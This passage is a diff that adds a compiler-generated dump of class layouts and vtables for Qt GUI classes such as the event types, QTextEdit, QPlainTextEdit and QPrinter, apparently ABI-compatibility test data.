+Class QResizeEvent
+ size=28 align=4
+ base size=28 base align=4
+QResizeEvent (0xb32b7480) 0
+ vptr=((& QResizeEvent::_ZTV12QResizeEvent) + 8u)
+ QEvent (0xb32b18e8) 0
+ primary-for QResizeEvent (0xb32b7480)
+
+Vtable for QCloseEvent
+QCloseEvent::_ZTV11QCloseEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QCloseEvent)
+8 QCloseEvent::~QCloseEvent
+12 QCloseEvent::~QCloseEvent
+
+Class QCloseEvent
+ size=12 align=4
+ base size=12 base align=4
+QCloseEvent (0xb32b7580) 0
+ vptr=((& QCloseEvent::_ZTV11QCloseEvent) + 8u)
+ QEvent (0xb32b199c) 0
+ primary-for QCloseEvent (0xb32b7580)
+
+Vtable for QIconDragEvent
+QIconDragEvent::_ZTV14QIconDragEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI14QIconDragEvent)
+8 QIconDragEvent::~QIconDragEvent
+12 QIconDragEvent::~QIconDragEvent
+
+Class QIconDragEvent
+ size=12 align=4
+ base size=12 base align=4
+QIconDragEvent (0xb32b7600) 0
+ vptr=((& QIconDragEvent::_ZTV14QIconDragEvent) + 8u)
+ QEvent (0xb32b19d8) 0
+ primary-for QIconDragEvent (0xb32b7600)
+
+Vtable for QShowEvent
+QShowEvent::_ZTV10QShowEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QShowEvent)
+8 QShowEvent::~QShowEvent
+12 QShowEvent::~QShowEvent
+
+Class QShowEvent
+ size=12 align=4
+ base size=12 base align=4
+QShowEvent (0xb32b7680) 0
+ vptr=((& QShowEvent::_ZTV10QShowEvent) + 8u)
+ QEvent (0xb32b1a14) 0
+ primary-for QShowEvent (0xb32b7680)
+
+Vtable for QHideEvent
+QHideEvent::_ZTV10QHideEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QHideEvent)
+8 QHideEvent::~QHideEvent
+12 QHideEvent::~QHideEvent
+
+Class QHideEvent
+ size=12 align=4
+ base size=12 base align=4
+QHideEvent (0xb32b7700) 0
+ vptr=((& QHideEvent::_ZTV10QHideEvent) + 8u)
+ QEvent (0xb32b1a50) 0
+ primary-for QHideEvent (0xb32b7700)
+
+Vtable for QContextMenuEvent
+QContextMenuEvent::_ZTV17QContextMenuEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QContextMenuEvent)
+8 QContextMenuEvent::~QContextMenuEvent
+12 QContextMenuEvent::~QContextMenuEvent
+
+Class QContextMenuEvent
+ size=36 align=4
+ base size=33 base align=4
+QContextMenuEvent (0xb32b7780) 0
+ vptr=((& QContextMenuEvent::_ZTV17QContextMenuEvent) + 8u)
+ QInputEvent (0xb32b77c0) 0
+ primary-for QContextMenuEvent (0xb32b7780)
+ QEvent (0xb32b1a8c) 0
+ primary-for QInputEvent (0xb32b77c0)
+
+Class QInputMethodEvent::Attribute
+ size=24 align=4
+ base size=24 base align=4
+QInputMethodEvent::Attribute (0xb32b1dd4) 0
+
+Vtable for QInputMethodEvent
+QInputMethodEvent::_ZTV17QInputMethodEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QInputMethodEvent)
+8 QInputMethodEvent::~QInputMethodEvent
+12 QInputMethodEvent::~QInputMethodEvent
+
+Class QInputMethodEvent
+ size=32 align=4
+ base size=32 base align=4
+QInputMethodEvent (0xb32b7a00) 0
+ vptr=((& QInputMethodEvent::_ZTV17QInputMethodEvent) + 8u)
+ QEvent (0xb32b1d98) 0
+ primary-for QInputMethodEvent (0xb32b7a00)
+
+Vtable for QDropEvent
+QDropEvent::_ZTV10QDropEvent: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QDropEvent)
+8 QDropEvent::~QDropEvent
+12 QDropEvent::~QDropEvent
+16 QDropEvent::format
+20 QDropEvent::encodedData
+24 QDropEvent::provides
+28 (int (*)(...))-0x00000000c
+32 (int (*)(...))(& _ZTI10QDropEvent)
+36 QDropEvent::_ZThn12_N10QDropEventD1Ev
+40 QDropEvent::_ZThn12_N10QDropEventD0Ev
+44 QDropEvent::_ZThn12_NK10QDropEvent6formatEi
+48 QDropEvent::_ZThn12_NK10QDropEvent8providesEPKc
+52 QDropEvent::_ZThn12_NK10QDropEvent11encodedDataEPKc
+
+Class QDropEvent
+ size=52 align=4
+ base size=52 base align=4
+QDropEvent (0xb32f1af0) 0
+ vptr=((& QDropEvent::_ZTV10QDropEvent) + 8u)
+ QEvent (0xb32f7348) 0
+ primary-for QDropEvent (0xb32f1af0)
+ QMimeSource (0xb32f7384) 12 nearly-empty
+ vptr=((& QDropEvent::_ZTV10QDropEvent) + 36u)
+
+Vtable for QDragMoveEvent
+QDragMoveEvent::_ZTV14QDragMoveEvent: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI14QDragMoveEvent)
+8 QDragMoveEvent::~QDragMoveEvent
+12 QDragMoveEvent::~QDragMoveEvent
+16 QDropEvent::format
+20 QDropEvent::encodedData
+24 QDropEvent::provides
+28 (int (*)(...))-0x00000000c
+32 (int (*)(...))(& _ZTI14QDragMoveEvent)
+36 QDragMoveEvent::_ZThn12_N14QDragMoveEventD1Ev
+40 QDragMoveEvent::_ZThn12_N14QDragMoveEventD0Ev
+44 QDropEvent::_ZThn12_NK10QDropEvent6formatEi
+48 QDropEvent::_ZThn12_NK10QDropEvent8providesEPKc
+52 QDropEvent::_ZThn12_NK10QDropEvent11encodedDataEPKc
+
+Class QDragMoveEvent
+ size=68 align=4
+ base size=68 base align=4
+QDragMoveEvent (0xb33042c0) 0
+ vptr=((& QDragMoveEvent::_ZTV14QDragMoveEvent) + 8u)
+ QDropEvent (0xb33017d0) 0
+ primary-for QDragMoveEvent (0xb33042c0)
+ QEvent (0xb32f78ac) 0
+ primary-for QDropEvent (0xb33017d0)
+ QMimeSource (0xb32f78e8) 12 nearly-empty
+ vptr=((& QDragMoveEvent::_ZTV14QDragMoveEvent) + 36u)
+
+Vtable for QDragEnterEvent
+QDragEnterEvent::_ZTV15QDragEnterEvent: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QDragEnterEvent)
+8 QDragEnterEvent::~QDragEnterEvent
+12 QDragEnterEvent::~QDragEnterEvent
+16 QDropEvent::format
+20 QDropEvent::encodedData
+24 QDropEvent::provides
+28 (int (*)(...))-0x00000000c
+32 (int (*)(...))(& _ZTI15QDragEnterEvent)
+36 QDragEnterEvent::_ZThn12_N15QDragEnterEventD1Ev
+40 QDragEnterEvent::_ZThn12_N15QDragEnterEventD0Ev
+44 QDropEvent::_ZThn12_NK10QDropEvent6formatEi
+48 QDropEvent::_ZThn12_NK10QDropEvent8providesEPKc
+52 QDropEvent::_ZThn12_NK10QDropEvent11encodedDataEPKc
+
+Class QDragEnterEvent
+ size=68 align=4
+ base size=68 base align=4
+QDragEnterEvent (0xb33044c0) 0
+ vptr=((& QDragEnterEvent::_ZTV15QDragEnterEvent) + 8u)
+ QDragMoveEvent (0xb3304500) 0
+ primary-for QDragEnterEvent (0xb33044c0)
+ QDropEvent (0xb330a870) 0
+ primary-for QDragMoveEvent (0xb3304500)
+ QEvent (0xb32f7ac8) 0
+ primary-for QDropEvent (0xb330a870)
+ QMimeSource (0xb32f7b04) 12 nearly-empty
+ vptr=((& QDragEnterEvent::_ZTV15QDragEnterEvent) + 36u)
+
+Vtable for QDragResponseEvent
+QDragResponseEvent::_ZTV18QDragResponseEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QDragResponseEvent)
+8 QDragResponseEvent::~QDragResponseEvent
+12 QDragResponseEvent::~QDragResponseEvent
+
+Class QDragResponseEvent
+ size=16 align=4
+ base size=13 base align=4
+QDragResponseEvent (0xb3304580) 0
+ vptr=((& QDragResponseEvent::_ZTV18QDragResponseEvent) + 8u)
+ QEvent (0xb32f7b40) 0
+ primary-for QDragResponseEvent (0xb3304580)
+
+Vtable for QDragLeaveEvent
+QDragLeaveEvent::_ZTV15QDragLeaveEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QDragLeaveEvent)
+8 QDragLeaveEvent::~QDragLeaveEvent
+12 QDragLeaveEvent::~QDragLeaveEvent
+
+Class QDragLeaveEvent
+ size=12 align=4
+ base size=12 base align=4
+QDragLeaveEvent (0xb3304640) 0
+ vptr=((& QDragLeaveEvent::_ZTV15QDragLeaveEvent) + 8u)
+ QEvent (0xb32f7bb8) 0
+ primary-for QDragLeaveEvent (0xb3304640)
+
+Vtable for QHelpEvent
+QHelpEvent::_ZTV10QHelpEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QHelpEvent)
+8 QHelpEvent::~QHelpEvent
+12 QHelpEvent::~QHelpEvent
+
+Class QHelpEvent
+ size=28 align=4
+ base size=28 base align=4
+QHelpEvent (0xb33046c0) 0
+ vptr=((& QHelpEvent::_ZTV10QHelpEvent) + 8u)
+ QEvent (0xb32f7bf4) 0
+ primary-for QHelpEvent (0xb33046c0)
+
+Vtable for QStatusTipEvent
+QStatusTipEvent::_ZTV15QStatusTipEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QStatusTipEvent)
+8 QStatusTipEvent::~QStatusTipEvent
+12 QStatusTipEvent::~QStatusTipEvent
+
+Class QStatusTipEvent
+ size=16 align=4
+ base size=16 base align=4
+QStatusTipEvent (0xb33048c0) 0
+ vptr=((& QStatusTipEvent::_ZTV15QStatusTipEvent) + 8u)
+ QEvent (0xb32f7e88) 0
+ primary-for QStatusTipEvent (0xb33048c0)
+
+Vtable for QWhatsThisClickedEvent
+QWhatsThisClickedEvent::_ZTV22QWhatsThisClickedEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI22QWhatsThisClickedEvent)
+8 QWhatsThisClickedEvent::~QWhatsThisClickedEvent
+12 QWhatsThisClickedEvent::~QWhatsThisClickedEvent
+
+Class QWhatsThisClickedEvent
+ size=16 align=4
+ base size=16 base align=4
+QWhatsThisClickedEvent (0xb3304980) 0
+ vptr=((& QWhatsThisClickedEvent::_ZTV22QWhatsThisClickedEvent) + 8u)
+ QEvent (0xb32f7f3c) 0
+ primary-for QWhatsThisClickedEvent (0xb3304980)
+
+Vtable for QActionEvent
+QActionEvent::_ZTV12QActionEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QActionEvent)
+8 QActionEvent::~QActionEvent
+12 QActionEvent::~QActionEvent
+
+Class QActionEvent
+ size=20 align=4
+ base size=20 base align=4
+QActionEvent (0xb3304a40) 0
+ vptr=((& QActionEvent::_ZTV12QActionEvent) + 8u)
+ QEvent (0xb3120000) 0
+ primary-for QActionEvent (0xb3304a40)
+
+Vtable for QFileOpenEvent
+QFileOpenEvent::_ZTV14QFileOpenEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI14QFileOpenEvent)
+8 QFileOpenEvent::~QFileOpenEvent
+12 QFileOpenEvent::~QFileOpenEvent
+
+Class QFileOpenEvent
+ size=16 align=4
+ base size=16 base align=4
+QFileOpenEvent (0xb3304b40) 0
+ vptr=((& QFileOpenEvent::_ZTV14QFileOpenEvent) + 8u)
+ QEvent (0xb31200b4) 0
+ primary-for QFileOpenEvent (0xb3304b40)
+
+Vtable for QToolBarChangeEvent
+QToolBarChangeEvent::_ZTV19QToolBarChangeEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QToolBarChangeEvent)
+8 QToolBarChangeEvent::~QToolBarChangeEvent
+12 QToolBarChangeEvent::~QToolBarChangeEvent
+
+Class QToolBarChangeEvent
+ size=16 align=4
+ base size=13 base align=4
+QToolBarChangeEvent (0xb3304c00) 0
+ vptr=((& QToolBarChangeEvent::_ZTV19QToolBarChangeEvent) + 8u)
+ QEvent (0xb3120168) 0
+ primary-for QToolBarChangeEvent (0xb3304c00)
+
+Vtable for QShortcutEvent
+QShortcutEvent::_ZTV14QShortcutEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI14QShortcutEvent)
+8 QShortcutEvent::~QShortcutEvent
+12 QShortcutEvent::~QShortcutEvent
+
+Class QShortcutEvent
+ size=24 align=4
+ base size=24 base align=4
+QShortcutEvent (0xb3304d40) 0
+ vptr=((& QShortcutEvent::_ZTV14QShortcutEvent) + 8u)
+ QEvent (0xb31201e0) 0
+ primary-for QShortcutEvent (0xb3304d40)
+
+Vtable for QClipboardEvent
+QClipboardEvent::_ZTV15QClipboardEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QClipboardEvent)
+8 QClipboardEvent::~QClipboardEvent
+12 QClipboardEvent::~QClipboardEvent
+
+Class QClipboardEvent
+ size=12 align=4
+ base size=12 base align=4
+QClipboardEvent (0xb3304f40) 0
+ vptr=((& QClipboardEvent::_ZTV15QClipboardEvent) + 8u)
+ QEvent (0xb3120384) 0
+ primary-for QClipboardEvent (0xb3304f40)
+
+Vtable for QWindowStateChangeEvent
+QWindowStateChangeEvent::_ZTV23QWindowStateChangeEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI23QWindowStateChangeEvent)
+8 QWindowStateChangeEvent::~QWindowStateChangeEvent
+12 QWindowStateChangeEvent::~QWindowStateChangeEvent
+
+Class QWindowStateChangeEvent
+ size=16 align=4
+ base size=16 base align=4
+QWindowStateChangeEvent (0xb312f000) 0
+ vptr=((& QWindowStateChangeEvent::_ZTV23QWindowStateChangeEvent) + 8u)
+ QEvent (0xb31203fc) 0
+ primary-for QWindowStateChangeEvent (0xb312f000)
+
+Vtable for QMenubarUpdatedEvent
+QMenubarUpdatedEvent::_ZTV20QMenubarUpdatedEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI20QMenubarUpdatedEvent)
+8 QMenubarUpdatedEvent::~QMenubarUpdatedEvent
+12 QMenubarUpdatedEvent::~QMenubarUpdatedEvent
+
+Class QMenubarUpdatedEvent
+ size=16 align=4
+ base size=16 base align=4
+QMenubarUpdatedEvent (0xb312f0c0) 0
+ vptr=((& QMenubarUpdatedEvent::_ZTV20QMenubarUpdatedEvent) + 8u)
+ QEvent (0xb31204b0) 0
+ primary-for QMenubarUpdatedEvent (0xb312f0c0)
+
+Class QTouchEvent::TouchPoint
+ size=4 align=4
+ base size=4 base align=4
+QTouchEvent::TouchPoint (0xb31206cc) 0
+
+Vtable for QTouchEvent
+QTouchEvent::_ZTV11QTouchEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QTouchEvent)
+8 QTouchEvent::~QTouchEvent
+12 QTouchEvent::~QTouchEvent
+
+Class QTouchEvent
+ size=32 align=4
+ base size=32 base align=4
+QTouchEvent (0xb312f200) 0
+ vptr=((& QTouchEvent::_ZTV11QTouchEvent) + 8u)
+ QInputEvent (0xb312f240) 0
+ primary-for QTouchEvent (0xb312f200)
+ QEvent (0xb3120690) 0
+ primary-for QInputEvent (0xb312f240)
+
+Vtable for QGestureEvent
+QGestureEvent::_ZTV13QGestureEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QGestureEvent)
+8 QGestureEvent::~QGestureEvent
+12 QGestureEvent::~QGestureEvent
+
+Class QGestureEvent
+ size=12 align=4
+ base size=12 base align=4
+QGestureEvent (0xb312f600) 0
+ vptr=((& QGestureEvent::_ZTV13QGestureEvent) + 8u)
+ QEvent (0xb312099c) 0
+ primary-for QGestureEvent (0xb312f600)
+
+Class QTextInlineObject
+ size=8 align=4
+ base size=8 base align=4
+QTextInlineObject (0xb31209d8) 0
+
+Class QTextLayout::FormatRange
+ size=16 align=4
+ base size=16 base align=4
+QTextLayout::FormatRange (0xb3120d5c) 0
+
+Class QTextLayout
+ size=4 align=4
+ base size=4 base align=4
+QTextLayout (0xb3120d20) 0
+
+Class QTextLine
+ size=8 align=4
+ base size=8 base align=4
+QTextLine (0xb3120f00) 0
+
+Class QTextEdit::ExtraSelection
+ size=12 align=4
+ base size=12 base align=4
+QTextEdit::ExtraSelection (0xb318e348) 0
+
+Vtable for QTextEdit
+QTextEdit::_ZTV9QTextEdit: 69u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QTextEdit)
+8 QTextEdit::metaObject
+12 QTextEdit::qt_metacast
+16 QTextEdit::qt_metacall
+20 QTextEdit::~QTextEdit
+24 QTextEdit::~QTextEdit
+28 QTextEdit::event
+32 QObject::eventFilter
+36 QTextEdit::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QAbstractScrollArea::sizeHint
+68 QAbstractScrollArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QTextEdit::mousePressEvent
+84 QTextEdit::mouseReleaseEvent
+88 QTextEdit::mouseDoubleClickEvent
+92 QTextEdit::mouseMoveEvent
+96 QTextEdit::wheelEvent
+100 QTextEdit::keyPressEvent
+104 QTextEdit::keyReleaseEvent
+108 QTextEdit::focusInEvent
+112 QTextEdit::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QTextEdit::paintEvent
+128 QWidget::moveEvent
+132 QTextEdit::resizeEvent
+136 QWidget::closeEvent
+140 QTextEdit::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QTextEdit::dragEnterEvent
+156 QTextEdit::dragMoveEvent
+160 QTextEdit::dragLeaveEvent
+164 QTextEdit::dropEvent
+168 QTextEdit::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QTextEdit::changeEvent
+184 QWidget::metric
+188 QTextEdit::inputMethodEvent
+192 QTextEdit::inputMethodQuery
+196 QTextEdit::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractScrollArea::viewportEvent
+228 QTextEdit::scrollContentsBy
+232 QTextEdit::loadResource
+236 QTextEdit::createMimeDataFromSelection
+240 QTextEdit::canInsertFromMimeData
+244 QTextEdit::insertFromMimeData
+248 (int (*)(...))-0x000000008
+252 (int (*)(...))(& _ZTI9QTextEdit)
+256 QTextEdit::_ZThn8_N9QTextEditD1Ev
+260 QTextEdit::_ZThn8_N9QTextEditD0Ev
+264 QWidget::_ZThn8_NK7QWidget7devTypeEv
+268 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+272 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QTextEdit
+ size=20 align=4
+ base size=20 base align=4
+QTextEdit (0xb312fdc0) 0
+ vptr=((& QTextEdit::_ZTV9QTextEdit) + 8u)
+ QAbstractScrollArea (0xb312fe00) 0
+ primary-for QTextEdit (0xb312fdc0)
+ QFrame (0xb312fe40) 0
+ primary-for QAbstractScrollArea (0xb312fe00)
+ QWidget (0xb31921e0) 0
+ primary-for QFrame (0xb312fe40)
+ QObject (0xb318e2d0) 0
+ primary-for QWidget (0xb31921e0)
+ QPaintDevice (0xb318e30c) 8
+ vptr=((& QTextEdit::_ZTV9QTextEdit) + 256u)
+
+Class QAbstractTextDocumentLayout::Selection
+ size=12 align=4
+ base size=12 base align=4
+QAbstractTextDocumentLayout::Selection (0xb318ebb8) 0
+
+Class QAbstractTextDocumentLayout::PaintContext
+ size=48 align=4
+ base size=48 base align=4
+QAbstractTextDocumentLayout::PaintContext (0xb318ebf4) 0
+
+Vtable for QAbstractTextDocumentLayout
+QAbstractTextDocumentLayout::_ZTV27QAbstractTextDocumentLayout: 24u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI27QAbstractTextDocumentLayout)
+8 QAbstractTextDocumentLayout::metaObject
+12 QAbstractTextDocumentLayout::qt_metacast
+16 QAbstractTextDocumentLayout::qt_metacall
+20 QAbstractTextDocumentLayout::~QAbstractTextDocumentLayout
+24 QAbstractTextDocumentLayout::~QAbstractTextDocumentLayout
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 __cxa_pure_virtual
+68 __cxa_pure_virtual
+72 __cxa_pure_virtual
+76 __cxa_pure_virtual
+80 __cxa_pure_virtual
+84 QAbstractTextDocumentLayout::resizeInlineObject
+88 QAbstractTextDocumentLayout::positionInlineObject
+92 QAbstractTextDocumentLayout::drawInlineObject
+
+Class QAbstractTextDocumentLayout
+ size=8 align=4
+ base size=8 base align=4
+QAbstractTextDocumentLayout (0xb31b8b40) 0
+ vptr=((& QAbstractTextDocumentLayout::_ZTV27QAbstractTextDocumentLayout) + 8u)
+ QObject (0xb318eb7c) 0
+ primary-for QAbstractTextDocumentLayout (0xb31b8b40)
+
+Vtable for QTextObjectInterface
+QTextObjectInterface::_ZTV20QTextObjectInterface: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI20QTextObjectInterface)
+8 QTextObjectInterface::~QTextObjectInterface
+12 QTextObjectInterface::~QTextObjectInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+
+Class QTextObjectInterface
+ size=4 align=4
+ base size=4 base align=4
+QTextObjectInterface (0xb3018348) 0 nearly-empty
+ vptr=((& QTextObjectInterface::_ZTV20QTextObjectInterface) + 8u)
+
+Vtable for QPlainTextEdit
+QPlainTextEdit::_ZTV14QPlainTextEdit: 69u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI14QPlainTextEdit)
+8 QPlainTextEdit::metaObject
+12 QPlainTextEdit::qt_metacast
+16 QPlainTextEdit::qt_metacall
+20 QPlainTextEdit::~QPlainTextEdit
+24 QPlainTextEdit::~QPlainTextEdit
+28 QPlainTextEdit::event
+32 QObject::eventFilter
+36 QPlainTextEdit::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QAbstractScrollArea::sizeHint
+68 QAbstractScrollArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QPlainTextEdit::mousePressEvent
+84 QPlainTextEdit::mouseReleaseEvent
+88 QPlainTextEdit::mouseDoubleClickEvent
+92 QPlainTextEdit::mouseMoveEvent
+96 QPlainTextEdit::wheelEvent
+100 QPlainTextEdit::keyPressEvent
+104 QPlainTextEdit::keyReleaseEvent
+108 QPlainTextEdit::focusInEvent
+112 QPlainTextEdit::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QPlainTextEdit::paintEvent
+128 QWidget::moveEvent
+132 QPlainTextEdit::resizeEvent
+136 QWidget::closeEvent
+140 QPlainTextEdit::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QPlainTextEdit::dragEnterEvent
+156 QPlainTextEdit::dragMoveEvent
+160 QPlainTextEdit::dragLeaveEvent
+164 QPlainTextEdit::dropEvent
+168 QPlainTextEdit::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QPlainTextEdit::changeEvent
+184 QWidget::metric
+188 QPlainTextEdit::inputMethodEvent
+192 QPlainTextEdit::inputMethodQuery
+196 QPlainTextEdit::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractScrollArea::viewportEvent
+228 QPlainTextEdit::scrollContentsBy
+232 QPlainTextEdit::loadResource
+236 QPlainTextEdit::createMimeDataFromSelection
+240 QPlainTextEdit::canInsertFromMimeData
+244 QPlainTextEdit::insertFromMimeData
+248 (int (*)(...))-0x000000008
+252 (int (*)(...))(& _ZTI14QPlainTextEdit)
+256 QPlainTextEdit::_ZThn8_N14QPlainTextEditD1Ev
+260 QPlainTextEdit::_ZThn8_N14QPlainTextEditD0Ev
+264 QWidget::_ZThn8_NK7QWidget7devTypeEv
+268 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+272 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QPlainTextEdit
+ size=20 align=4
+ base size=20 base align=4
+QPlainTextEdit (0xb30195c0) 0
+ vptr=((& QPlainTextEdit::_ZTV14QPlainTextEdit) + 8u)
+ QAbstractScrollArea (0xb3019600) 0
+ primary-for QPlainTextEdit (0xb30195c0)
+ QFrame (0xb3019640) 0
+ primary-for QAbstractScrollArea (0xb3019600)
+ QWidget (0xb301beb0) 0
+ primary-for QFrame (0xb3019640)
+ QObject (0xb3018834) 0
+ primary-for QWidget (0xb301beb0)
+ QPaintDevice (0xb3018870) 8
+ vptr=((& QPlainTextEdit::_ZTV14QPlainTextEdit) + 256u)
+
+Vtable for QPlainTextDocumentLayout
+QPlainTextDocumentLayout::_ZTV24QPlainTextDocumentLayout: 24u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI24QPlainTextDocumentLayout)
+8 QPlainTextDocumentLayout::metaObject
+12 QPlainTextDocumentLayout::qt_metacast
+16 QPlainTextDocumentLayout::qt_metacall
+20 QPlainTextDocumentLayout::~QPlainTextDocumentLayout
+24 QPlainTextDocumentLayout::~QPlainTextDocumentLayout
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QPlainTextDocumentLayout::draw
+60 QPlainTextDocumentLayout::hitTest
+64 QPlainTextDocumentLayout::pageCount
+68 QPlainTextDocumentLayout::documentSize
+72 QPlainTextDocumentLayout::frameBoundingRect
+76 QPlainTextDocumentLayout::blockBoundingRect
+80 QPlainTextDocumentLayout::documentChanged
+84 QAbstractTextDocumentLayout::resizeInlineObject
+88 QAbstractTextDocumentLayout::positionInlineObject
+92 QAbstractTextDocumentLayout::drawInlineObject
+
+Class QPlainTextDocumentLayout
+ size=8 align=4
+ base size=8 base align=4
+QPlainTextDocumentLayout (0xb3019ac0) 0
+ vptr=((& QPlainTextDocumentLayout::_ZTV24QPlainTextDocumentLayout) + 8u)
+ QAbstractTextDocumentLayout (0xb3019b00) 0
+ primary-for QPlainTextDocumentLayout (0xb3019ac0)
+ QObject (0xb3018bb8) 0
+ primary-for QAbstractTextDocumentLayout (0xb3019b00)
+
+Vtable for QPrinter
+QPrinter::_ZTV8QPrinter: 7u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI8QPrinter)
+8 QPrinter::~QPrinter
+12 QPrinter::~QPrinter
+16 QPrinter::devType
+20 QPrinter::paintEngine
+24 QPrinter::metric
+
+Class QPrinter
+ size=12 align=4
+ base size=12 base align=4
+QPrinter (0xb3019dc0) 0
+ vptr=((& QPrinter::_ZTV8QPrinter) + 8u)
+ QPaintDevice (0xb3018dd4) 0
+ primary-for QPrinter (0xb3019dc0)
+
+Vtable for QPrintPreviewWidget
+QPrintPreviewWidget::_ZTV19QPrintPreviewWidget: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QPrintPreviewWidget)
+8 QPrintPreviewWidget::metaObject
+12 QPrintPreviewWidget::qt_metacast
+16 QPrintPreviewWidget::qt_metacall
+20 QPrintPreviewWidget::~QPrintPreviewWidget
+24 QPrintPreviewWidget::~QPrintPreviewWidget
+28 QWidget::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QPrintPreviewWidget::setVisible
+64 QWidget::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI19QPrintPreviewWidget)
+232 QPrintPreviewWidget::_ZThn8_N19QPrintPreviewWidgetD1Ev
+236 QPrintPreviewWidget::_ZThn8_N19QPrintPreviewWidgetD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QPrintPreviewWidget
+ size=24 align=4
+ base size=24 base align=4
+QPrintPreviewWidget (0xb307a380) 0
